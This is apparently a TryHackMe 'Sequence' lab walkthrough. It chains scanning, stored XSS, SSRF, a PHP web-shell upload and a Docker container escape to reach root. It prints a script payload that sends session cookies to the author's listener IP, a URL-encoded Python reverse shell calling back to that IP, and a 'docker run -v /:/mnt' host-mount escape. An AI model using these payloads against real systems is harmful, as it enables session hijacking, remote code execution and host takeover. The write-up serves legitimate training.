Post

Sequence - TryHackMe - Walkthrough

Exploit a chain of vulnerabilities and gain root access.

Sequence - TryHackMe - Walkthrough

Description

This is a walkthrough for the Sequence challenge on TryHackMe. The challenge is rated as medium and is about exploiting several vulnerabilities to gain root access on the machine.

In the description of the Room, there is already the hostname which you may add to the /etc/hosts file.

1
sudo bash -c "echo 'MACHINE_IP review.thm' >> /etc/hosts"

Scanning

I started with a basic nmap scan on all ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo nmap -p- -sV -sC -oA nmap/machine -vv review.thm
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Review Shop
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are only two ports open, SSH on port 22 and HTTP on port 80. The only important thing you may need from the scan is that the httponly flag is not set for the PHPSESSID cookie, this allows us to access the cookie through JavaScript and steal the cookie using a XSS payload.

XSS

The page on port 80 allows you to either login or to contact the staff of the page.

The contact page allows you to send various data fields which may be vulnerable to XSS.

To test if the page is vulnerable to XSS, I used the <script> tag followed by a simple fetch function which calles back to my listener. Additionally I appended the cookies to get the session cookie.

1
<script>fetch("http://10.14.78.229:9001/"+document.cookie)</script>

After crafting the payload I pasted the payload in the Message field which looked most promising for XSS. Once the payload was send it took around 10s until the payload hit my listener.

The cookie received can now replace our current random cookie and can give us privileged access to the site.

As soon as you placed the cookie you can go back to the root directory of the webserver and will receive the elevated header and page containing the first flag at the top center.

Using XSS further

For the second flag you need to abuse the chat function available for the mod user which we got through the contact page. For testing I pasted several characters inside the message field and tired to send them to see if they get encoded or if a simple payload like before works.

Unfortunately, all characters that could be used in an XSS payload are encoded — probably by htmlspecialchars(). To gain further access to the admin you need to dive more deeply into how the admin is viewing this site and see what he is doing. I next tried to send the admin a link to my listener; luckily the attacker visited the link after waiting a few seconds.

Once you discovered this behavior of the admin user, you need to abuse and exploit it. Taking a step back: we already found an XSS vulnerability on the page that steals the user’s cookie when they visit the site. The admin most likely also has access to the Feedback page, which is vulnerable to stored XSS. If we simply redirect the admin to that page, we could steal the admin’s cookie as well.

There’s no need to create a new XSS payload — the one from the first flag is sufficient for this task. The only job now is to get the admin to visit the Feedback page. I just sent the link in the chat and started a new listener. In comparison to the first XSS abuse, this time I used a Python listener, since it shouldn’t stop listening after receiving just one cookie. The mod user is still on the page and will keep sending his cookie we already captured.

Once you did the same process of replacing the cookie and reloading the page — once again — you will be able to see the admin flag.

SSRF to an internal server

To solve the next task you may need to take a step back and scan for PHP files on the server. For that I simply used ffuf, but this can also be done using gobuster or any similar tool.

1
2
3
4
5
6
7
8
9
10
11
12
$ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt 

.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 70ms]
.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 70ms]
                        [Status: 200, Size: 1694, Words: 234, Lines: 69, Duration: 70ms]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 82ms]
index.php               [Status: 200, Size: 1694, Words: 234, Lines: 69, Duration: 70ms]
javascript              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 72ms]
mail                    [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 65ms]
phpmyadmin              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 70ms]
server-status           [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 82ms]
uploads                 [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 82ms]

The mail directory immediately sounded interesting. Inside the directory, there is a dump file containing an email from Robert to the team. In that email, Robert mentions that lottery.php and finance.php are two PHP files hosted internally.

If you now return to the admin dashboard and select the lottery feature from the dropdown, the browser will send a POST request to dashboard.php with lottery.php as the feature argument. This is most likely the file mentioned in the email.

As you might have guessed I simply tried to replace the lottery.php with finance.php. The step to scan the webserver is not necessary, you can also FUZZ (using ffuf) the files which you can reach and find finance.php this way.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /dashboard.php HTTP/1.1
Host: review.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: multipart/form-data; boundary=----geckoformboundary35919095ca65e38f866318ea21b1d523
Content-Length: 179
Cookie: PHPSESSID=gj510vd09k83s2ba4uc52pe1t8
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary35919095ca65e38f866318ea21b1d523
Content-Disposition: form-data; name="feature"

finance.php
------geckoformboundary35919095ca65e38f866318ea21b1d523--

This request gave back the finance.php page. By inspecting the page thoroughly you can see that there is a file upload function which allows to upload a file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
    <title>Finance Panel</title>
</head>
<body>
<div id="finance-panel-wrapper" style="position: relative; background: #f4f6f8; padding: 30px; font-family: Arial, sans-serif;">
.....
            <h3>📤 Upload Latest Investor Details</h3>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="investor_file" required style="margin-bottom: 10px;"><br>
                <button type="submit" style="
                    padding: 8px 16px;
                    background: #28a745;
                    color: white;
                    border: none;
                    cursor: pointer;
                    border-radius: 4px;
                ">Upload</button>
            </form>
        </div>
    </div>
</div>

File upload and RCE

To abuse the File upload available on the finance.php page you may send a request with a file to the /dashboard.php endpoint. I used the request down below with a simple PHP web shell.

The file uploaded without any issues and now we may be able to access it, I modified the location from finance.php to uploads/shell.php and added a simple id command to see if we get a result.

Once that worked I generated a reverse shell command on revshells.com and used the following payload which must be URL encoded:

1
uploads/shell.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.14.78.229%22%2C9003%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27

After sending the request you should receive a connection. The next step is to stabilize the shell.

1
2
3
4
5
6
7
8
9
10
$nc -lvnp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.239.167 42516
root@4f18a45cca05:/var/www/html/uploads# python3 -c 'import pty;pty.spawn("/bin/bash")';
root@4f18a45cca05:/var/www/html/uploads# ^Z
[1]+  Stopped                 nc -lvnp 9003
$stty raw -echo; fg
nc -lvnp 9003

root@4f18a45cca05:/var/www/html/uploads# 

The hex 4f18a45cca05 as the hostname already reveals that this is very likely a Docker container. The docker container itself doesn’t contain any additionally helpful files, so the next step is to find some way to escape the container and gain access to the host machine. A common misconfiguration is that the docker command is accessable in the container, so for that I tested that first.

1
2
3
4
5
6
root@4f18a45cca05:/var/www/html/uploads# docker

Usage:  docker [OPTIONS] COMMAND

A self-sufficient runtime for containers
.....

Fortunaltely you are able to execute the command in the container. To exploit the misconfiguration I first searched for a suitable container that can be used. Finally I started the container, mounted the host filesystem and extracted the flag file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@4f18a45cca05:/var/www/html/uploads# docker images
REPOSITORY      TAG       IMAGE ID       CREATED        SIZE
phpvulnerable   latest    d0bf58293d3b   3 months ago   926MB
php             8.1-cli   0ead645a9bc2   6 months ago   527MB
root@4f18a45cca05:/var/www/html/uploads# docker run -v /:/mnt --rm -it php:8.1-cli chroot /mnt sh
# ls /root
 bin   flag.txt   lib   root   share   snap  '~'
# ls
bin  boot  dev	etc  home  lib	lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap	srv  sys  tmp  usr  var
# cd home
# ls
qathm  ubuntu
# cd qathm
# ls
# pwd
/home/qathm
# wc /root/flag.txt
 1  1 20 /root/flag.txt

Further Notes

File upload

I was very confused when I was trying to upload a file. In general there is no possibility to send a file/POST request through SSRF and the only thing I could think of was HTTP request smuggling. Maybe you asked yourself the same question how this was implemented, here is the source code (stolen from the server after root access 😈)! The dashboard.php basically checks if the investor_file data field is present and if it is it will upload the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (isset($_FILES['investor_file'])) {
    $file = $_FILES['investor_file'];
    $ch = curl_init();

    $cfile = new CURLFile($file['tmp_name'], $file['type'], $file['name']);

    curl_setopt_array($ch, [
        CURLOPT_URL => 'http://192.168.100.10/finance.php',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => ['investor_file' => $cfile],
    ]);

    $responseContent = curl_exec($ch);

    if (curl_errno($ch)) {
        $responseContent = "<div class='alert alert-danger mt-3'>cURL Error: " . curl_error($ch) . "</div>";
    }

    curl_close($ch);
}
This post is licensed under CC BY 4.0 by the author.